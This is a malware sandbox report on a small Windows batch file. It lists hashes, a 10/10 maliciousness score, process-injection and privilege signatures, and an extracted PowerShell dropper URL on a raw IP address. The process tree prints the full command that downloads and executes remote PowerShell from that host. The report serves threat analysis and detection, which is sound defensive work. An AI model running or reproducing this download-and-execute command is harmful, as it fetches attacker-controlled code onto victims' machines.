4af01116ea53d684aab434e8d65d4fd28822df7f13ada9a7a0a80c8f188fdf9e | Triage

Analysis

max time kernel
63s
max time network
63s
platform
windows7_x64
resource
win7
submitted
12-07-2020 22:10

Sharing

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General

Target

f012b64a4c409c683d9fb217954bb81e.bat
Size

220B
MD5

3630e6bfeceaf5ae9f0fe776b8146e0b
SHA1

233dfd6ce74130dd5c4fea4cfde910b51544c5fd
SHA256

4af01116ea53d684aab434e8d65d4fd28822df7f13ada9a7a0a80c8f188fdf9e
SHA512

677811903d0bb197ccd3a66b02c1b5c14cd9956cc7668fa8ead565b25941ba3531bc00b6aebbdfc8a3a600bd318f0c1e5fe80c7f421243c6f3c068f81b7ef62a

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/f012b64a4c409c683d9fb217954bb81e

Signatures

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1400 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1400 powershell.exe
1400 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1400 powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1108 wrote to memory of 1400	1108	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1400	1108	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1400	1108	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1400	1108	cmd.exe	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1400 powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\f012b64a4c409c683d9fb217954bb81e.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/f012b64a4c409c683d9fb217954bb81e');Invoke-CSLQTFNOIPZFU;Start-Sleep -s 10000"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1400

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/1400-0-0x0000000000000000-mapping.dmp

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